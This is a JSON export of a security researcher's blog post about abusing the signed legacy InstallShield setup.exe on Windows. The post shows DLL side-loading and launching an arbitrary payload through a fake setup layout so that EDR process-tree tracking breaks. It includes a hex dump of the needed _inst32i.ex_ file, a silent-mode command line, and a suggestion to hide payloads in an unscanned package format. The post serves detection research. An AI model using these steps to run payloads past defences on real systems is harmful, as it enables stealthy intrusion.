{"id":4352,"date":"2017-10-14T01:38:06","date_gmt":"2017-10-14T01:38:06","guid":{"rendered":"http:\/\/www.hexacorn.com\/blog\/?p=4352"},"modified":"2017-10-25T18:28:33","modified_gmt":"2017-10-25T18:28:33","slug":"beating-shields-of-edr-with-the-16-bit-setup","status":"publish","type":"post","link":"https:\/\/www.hexacorn.com\/blog\/2017\/10\/14\/beating-shields-of-edr-with-the-16-bit-setup\/","title":{"rendered":"Beating shields of EDR with the 16-bit setup"},"content":{"rendered":"<p>This is probably the most bizarre way of breaking the process tree you will see today, but well, it works, so there you go&#8230;<\/p>\n<p>Have you ever wondered what these guys are?<\/p>\n<ul>\n<li>C:\\Windows\\System32\\InstallShield\\setup.exe<\/li>\n<li>C:\\Windows\\SysWOW64\\InstallShield\\setup.exe<\/li>\n<\/ul>\n<p>Yup, me neither &#8211; until today.<\/p>\n<p>Turns out that this is a very old school InstallShield setup program.<\/p>\n<p>It has an interesting property that it is signed and exists on lots of versions of Windows.<\/p>\n<p>It turns out that you can use it for at least two different purposes.<\/p>\n<ul>\n<li>Side-load _setup.dll it relies on (signed .exe loading unsigned DLL)<\/li>\n<li>Spawn .exe of your choice, breaking the process tree in a very lame way<\/li>\n<\/ul>\n<p>The first one is trivial.<\/p>\n<p>The second one is the really weird one &#8211; we have to create a fake setup directory layout that will allow us to execute program of our choice.<\/p>\n<p>We need these files to pull it off:<\/p>\n<ul>\n<li>_inst32i.ex_\n<ul>\n<li>the binary that is required by setup.exe; after toying around with an existing _inst32i.ex_ file from some old installation I came up with this minimalistic file layout that you need to save as _inst32i.ex_<\/li>\n<\/ul>\n<\/li>\n<\/ul>\n<pre>00 : 2A AB 79 D8 00 01 00 00 00 00 00 00 00 00 00 00 *.y............. 000\r\n10 : 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 016\r\n20 : 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 032\r\n30 : 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 048\r\n40 : 00 00 00 00 00 00 00 00 00 00 00 00 00 00 03 00 ................ 064\r\n50 : 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 080\r\n60 : 00 00 00 00 00 00 0B 00 49 4E 53 54 41 4C 4C 2E ........INSTALL. 096\r\n70 : 45 58 45 01 00 58 00 00 00 00 00 00 00 00 00 00 EXE..X.......... 112\r\n80 : 00 00 00 00 00 00 00 00 00 00 09 00 7A 64 61 74 ............zdat 128\r\n90 : 61 2E 64 6C 6C 01 00 5A 00 00 00 00 00 00 00 00 a.dll..Z........ 144\r\nA0 : 00 00 00 00 00 00 00 00 00 00 00 00 0B 00 57 55 ..............WU 160\r\nB0 : 54 4C 39 35 69 2E 44 4C 4C 01 00 58 00 00 00 00 TL95i.DLL..X.... 176\r\nC0 : 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 192\r\nD0 : 0A 00 42 4F 4F 54 31 36 2E 45 58 45 01 00 58    ..BOOT16.EXE..X  208<\/pre>\n<ul>\n<li>_setup.dll\n<ul>\n<li>already on the system<\/li>\n<\/ul>\n<\/li>\n<li>layout.bin\n<ul>\n<li>just type &#8220;echo &gt; layout.bin&#8221;<\/li>\n<\/ul>\n<\/li>\n<li>setup.exe\n<ul>\n<li>already on the system, signed<\/li>\n<\/ul>\n<\/li>\n<li>SETUP.LID<\/li>\n<\/ul>\n<pre>[Languages]\r\nkey0=0009\r\nDefault=0009\r\ncount=1<\/pre>\n<p>Finally, the payload &#8211; save it inside this file:<\/p>\n<ul>\n<li>xtract_all.exe<\/li>\n<\/ul>\n<p>or, make xtract_all.exe a dummy and store the payload inside the\u00a0 _isdel.exe file.<\/p>\n<p>Now, all you have to do is to run:<\/p>\n<pre>setup.exe \/extract_all \/s<\/pre>\n<p>This will execute setup.exe in a silent mode, and will force it to launch both xtract_all.exe and _isdel.exe.<\/p>\n<p>Interestingly, the _isdel.exe is launched from the same directory, but xtract_all.exe will be executed from the %TEMP% directory.<\/p>\n<p><a href=\"https:\/\/www.hexacorn.com\/blog\/wp-content\/uploads\/2017\/10\/setupexe.png\"><img decoding=\"async\" loading=\"lazy\" class=\"aligncenter size-full wp-image-4353\" src=\"https:\/\/www.hexacorn.com\/blog\/wp-content\/uploads\/2017\/10\/setupexe.png\" alt=\"\" width=\"217\" height=\"61\" \/><\/a><\/p>\n<p>Yup. It&#8217;s complicated, I told you \ud83d\ude09<\/p>\n<p>This can be taken a step further. Instead of using the \/extract_all trick, you can actually generate your own _inst32i.ex_ file that may hold the payload. Since it&#8217;s an old proprietary InstallShield package file format, it is unlikely its content is scanned for malware. To generate a payload you may either use an InstallShield installer (if you can find one!), or.. reverse engineer the package file format&#8230;<\/p>\n","protected":false},"excerpt":{"rendered":"<p>This is probably the most bizarre way of breaking the process tree you will see today, but well, it works, so there you go&#8230; Have you ever wondered what these guys are? C:\\Windows\\System32\\InstallShield\\setup.exe C:\\Windows\\SysWOW64\\InstallShield\\setup.exe Yup, me neither &#8211; until today. &hellip; <a href=\"https:\/\/www.hexacorn.com\/blog\/2017\/10\/14\/beating-shields-of-edr-with-the-16-bit-setup\/\">Continue reading <span class=\"meta-nav\">&rarr;<\/span><\/a><\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":[],"categories":[13,53,15,21,19,56,9],"tags":[],"_links":{"self":[{"href":"https:\/\/www.hexacorn.com\/blog\/wp-json\/wp\/v2\/posts\/4352"}],"collection":[{"href":"https:\/\/www.hexacorn.com\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.hexacorn.com\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.hexacorn.com\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/www.hexacorn.com\/blog\/wp-json\/wp\/v2\/comments?post=4352"}],"version-history":[{"count":1,"href":"https:\/\/www.hexacorn.com\/blog\/wp-json\/wp\/v2\/posts\/4352\/revisions"}],"predecessor-version":[{"id":4354,"href":"https:\/\/www.hexacorn.com\/blog\/wp-json\/wp\/v2\/posts\/4352\/revisions\/4354"}],"wp:attachment":[{"href":"https:\/\/www.hexacorn.com\/blog\/wp-json\/wp\/v2\/media?parent=4352"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.hexacorn.com\/blog\/wp-json\/wp\/v2\/categories?post=4352"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.hexacorn.com\/blog\/wp-json\/wp\/v2\/tags?post=4352"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}